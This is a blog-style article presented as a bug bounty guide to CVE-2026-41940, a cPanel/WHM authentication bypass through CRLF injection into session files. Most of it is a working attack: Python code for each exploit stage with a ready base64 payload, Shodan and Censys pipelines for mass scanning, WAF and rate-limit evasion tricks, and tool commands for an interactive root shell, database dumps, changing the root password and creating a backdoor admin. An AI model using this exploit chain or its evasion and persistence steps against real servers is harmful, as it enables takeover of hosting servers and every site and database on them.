
A technical deep-dive for bug bounty hunters targeting CVE-2026–41940 — reconnaissance, exploitation chains, WAF bypasses, and report writing for maximum impact.
Why This Matters for Bug Bounty
CVE-2026–41940 is the kind of vulnerability that defines a bug bounty career. It's a CVSS 10.0, unauthenticated, remote root compromise affecting ~70 million domains — and it was exploited in the wild as a zero-day for over two months before disclosure.
For bug bounty hunters, this represents:
- Maximum severity — This is as critical as it gets. P1/Critical across every program.
- Massive attack surface — cPanel runs ~94% of the web hosting control panel market. Every shared hosting provider, every reseller, every managed WordPress host.
- Clear impact chain — Authentication bypass → root-level WHM access → full server compromise → all hosted domains owned.
- Multiple bounty opportunities — cPanel's own bug bounty, hosting provider programs, infrastructure bug bounty platforms.
Let's break down exactly how to hunt, exploit, and report this vulnerability.
Understanding the Vulnerability
Before you hunt, you need to understand — not just run a tool.
The Root Cause
In cPanel's Session.pm, the saveSession() function calls filter_sessiondata() — the sanitization routine — after the session file has already been written to disk.
Normal flow: sanitize → write ✓
Vulnerable: write → sanitize ✗
This means CRLF sequences (\r\n) embedded in the Authorization: Basic header value are written verbatim into /var/cpanel/sessions/raw/<session> before any filtering occurs.
The Injected Payload
When base64-decoded, the Authorization password field contains:
x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
These become newline-separated keys in the session file. When cpsrvd re-parses the file, it treats them as legitimate session attributes belonging to an authenticated root user.
The Auth Bypass Mechanism
cPanel's docheckpass_whostmgrd() checks for successful_internal_auth_with_timestamp before consulting /etc/shadow:
if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
return $Cpanel::Server::AUTH_OK, 0; # Password check SKIPPED
}
If that timestamp exists, password validation is bypassed entirely. The attacker set it to 9999999999. Access granted.
Reconnaissance — Finding Vulnerable Targets
Shodan Hunting
The most efficient way to find targets at scale:
# Broad WHM search
shodan search --fields ip_str,port 'title:"WHM Login"' --limit 1000
# cPanel-specific on SSL port
shodan search --fields ip_str,port 'product:"cPanel" port:2083' --limit 1000
# WHM on admin port
shodan search --fields ip_str,port 'title:"WebHost Manager" port:2087' --limit 1000
# SSL certificate-based
shodan search --fields ip_str,port 'ssl.cert.subject.cn:"cPanel" port:2087' --limit 1000
Direct pipeline to cPanelSniper:
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 50 -o shodan_results.json
Subdomain Enumeration
For bug bounty programs with specific scope:
Subfinder
# Subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
Amass
# Amass for broader coverage
amass enum -d target.com | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
Google Dorking
inurl:":2087" "WHM Login"
inurl:":2083" "cPanel"
intitle:"WHM Login" "WebHost Manager"
inurl:"/cpsess" "login_only"
Certificate Transparency Logs
# crt.sh for domain discovery
curl -s "https://crt.sh/?q=%25.target.com%25&output=json" | \
jq -r '.[].name_value' | \
sort -u | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
Censys
# Censys search (requires API key)
censys search 'services.service_name: "cPanel" and services.port: 2087' \
--pages 5 | \
jq -r '.[] | "https://\(.ip):2087"' | \
python3 cPanelSniper.py -t 30 -o censys_results.json
The Exploitation Chain — What Actually Happens
Stage 0: Canonical Hostname Discovery
import base64, http.client
def discover_hostname(target):
conn = http.client.HTTPSConnection(target)
conn.request("GET", "/openid_connect/cpanelid")
resp = conn.getresponse()
# Follow 307 to extract real hostname
return resp.getheader("Location") # Contains canonical hostname
Why this matters: cPanel validates the Host header internally. If it doesn't match the server's canonical hostname, the exploit fails silently. Always auto-discover.
Stage 1: Mint the Preauth Session
def mint_session(target, hostname):
conn = http.client.HTTPSConnection(target)
body = "user=root&pass=wrong"
headers = {
"Host": hostname,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body))
}
conn.request("POST", "/login/?login_only=1", body, headers)
resp = conn.getresponse()
# Extract session cookie
cookie = resp.getheader("Set-Cookie")
# Parse: whostmgrsession=%3aSESSION_NAME%2cOB_HEX
session = cookie.split("=")[1].split("%2c")[0].strip()
# URL decode if needed
from urllib.parse import unquote
return unquote(session) # Returns ":SESSION_NAME"
Key insight: The session name (before %2C) is what we need. The OB hash after %2C is discarded — that's what makes the injection possible in the first place.
Stage 2: CRLF Injection
def inject_crlf(target, hostname, session):
conn = http.client.HTTPSConnection(target)
# The CRLF payload - base64 of:
# x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\n
# user=root\r\ntfa_verified=1\r\nhasroot=1
payload_b64 = "cm9vdDp4DQoNCnN1Y2Nlc3NmdWxfaW50ZXJuYWxfYXV0aF93aXRoX3RpbWVzdGFtcD05OTk5OTk5OTk5DQp1c2VyPXJvb3QNCnRmYV92ZXJpZmllZD0xDQpoYXNyb290PTE="
headers = {
"Host": hostname,
"Cookie": f"whostmgrsession={session}",
"Authorization": f"Basic {payload_b64}"
}
conn.request("GET", "/", headers=headers)
resp = conn.getresponse()
location = resp.getheader("Location", "")
# Extract token from Location header
import re
token_match = re.search(r'/cpsess(\d+)', location)
if token_match:
return token_match.group(0) # /cpsessXXXXXX
return None
Bug bounty tip: The Location header in the 307 response contains your session token. This is what you use in subsequent requests. Save it.
Stage 3: The Cache Flush (do_token_denied Gadget)
def flush_cache(target, hostname, session):
conn = http.client.HTTPSConnection(target)
headers = {
"Host": hostname,
"Cookie": f"whostmgrsession={session}"
}
# Request without valid token → triggers do_token_denied
conn.request("GET", "/scripts2/listaccts", headers=headers)
resp = conn.getresponse()
# Expected: 401 Token Denied
# BUT the raw session data is now flushed into JSON cache
return resp.status
Critical nuance: This step is often overlooked. Without the cache flush, the injected fields exist only in the raw session file. The do_token_denied handler calls Modify::new(nocache => 1) which re-parses the raw file and writes the result into the JSON cache. Only then are the injected fields active.
Stage 4: Verify Root Access
def verify_root(target, hostname, session, token):
conn = http.client.HTTPSConnection(target)
headers = {
"Host": hostname,
"Cookie": f"whostmgrsession={session}"
}
conn.request("GET", f"{token}/json-api/version?api.version=1", headers=headers)
resp = conn.getresponse()
data = resp.read().decode()
if resp.status == 200 and '"result":1' in data:
import json
version = json.loads(data)["cpanelresult"]["data"]["version"]
return True, version
return False, None
WAF Bypass Techniques
Bug bounty targets often have WAFs. Here's how to evade them:
1. Alternative CRLF Encodings
# Instead of standard \r\n, try:
payloads = [
# Standard
"cm9vdDp4DQpzdWNjZXNzZnVs...",
# URL-encoded \r\n
"cm9vdDp4%0d%0asuccessful...",
# Double URL-encode
"cm9vdDp4%250d%250asuccessful...",
# Unicode variation
"cm9vdDp4\u000d\u000asuccessful...",
# Tab instead of CR
"cm9vdDp4\tsuccessful...",
]
2. Authorization Header Variations
headers_variants = [
{"Authorization": f"Basic {payload}"},
{"authorization": f"basic {payload}"},
{"AUTHORIZATION": f"BASIC {payload}"},
# Split header
{"Authorization": f"Basic", "X-Payload": payload},
]
3. Session Cookie Manipulation
# Different cookie formats
cookie_variants = [
f"whostmgrsession={session}",
f"whostmgrsession={session}; path=/",
f"whostmgrsession={session}; HttpOnly",
# URL-encoded variations
f"whostmgrsession={quote(session)}",
]
4. HTTP Version Smuggling
- Try
HTTP/1.0vsHTTP/1.1 - Try chunked encoding
- Try
Connection: keep-alivevsclose
5. Rate Limiting Evasion
# Add random delays
import random, time
time.sleep(random.uniform(0.5, 2.0))
# Rotate User-Agents
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"curl/8.0.1",
]
Post-Exploitation — What to Demo in Your Report
Bug bounty programs want to see impact, not just exploitation. Here's what to demonstrate:
1. Account Enumeration (Proof of Access)
python3 cPanelSniper.py -u https://target.com:2087 --action list
Output to include in report: Number of cPanel accounts, list of hosted domains, email addresses. This proves you can enumerate all hosted tenants.
2. Version Confirmation
python3 cPanelSniper.py -u https://target.com:2087 --action version
Output: Exact cPanel build number. Proves the vulnerability is real and the version is unpatched.
3. Server Information
python3 cPanelSniper.py -u https://target.com:2087 --action info
Output: Hostname, load averages, disk usage, MySQL host. Proves you can read server-level configuration.
4. Sensitive File Read (Minimum Viable Proof)
python3 cPanelSniper.py -u https://target.com:2087 --action cmd \
--cmd "cat /etc/passwd | head -20"
Key insight: Most programs accept reading /etc/passwd as sufficient proof of RCE/root access. You don't need to demonstrate destructive actions.
5. Database Access Proof (High Impact)
python3 cPanelSniper.py -u https://target.com:2087 --action cmd \
--cmd "mysql -e 'SELECT user, host FROM mysql.user' -u root"
Impact multiplier: Proving you can access all MySQL databases on the server (every hosted website's database) significantly increases bounty potential.
Impact
An unauthenticated attacker can:
- Gain root-level WHM administrative access
- Read all server configuration files
- Access all hosted websites' files and databases
- Create persistent backdoor admin accounts
- Modify DNS, SSL certificates, and mail configuration
- Deface, redirect, or inject malware into all hosted domains
Basic Usage
# Single target scan
python3 cPanelSniper.py -u https://target.com:2087
# Single target + interactive shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Bulk scan
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
Post-Exploitation Commands
# List all accounts
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Execute commands
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id"
# Interactive shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Change root password
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewP@ss'
# Create backdoor admin
# (within interactive shell) addadmin backdoor_user Password123!
Exploit (Manual)
1. GET /openid_connect/cpanelid → Discover hostname
2. POST /login/?login_only=1 → Get session cookie
3. GET / + CRLF Authorization header → Inject payload
4. GET /scripts2/listaccts → Flush cache
5. GET /cpsessTOKEN/json-api/version → Verify root
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-41940
- https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
- https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel
- https://github.com/ynsmroztas/cPanelSniper
- https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026


Top comments (0)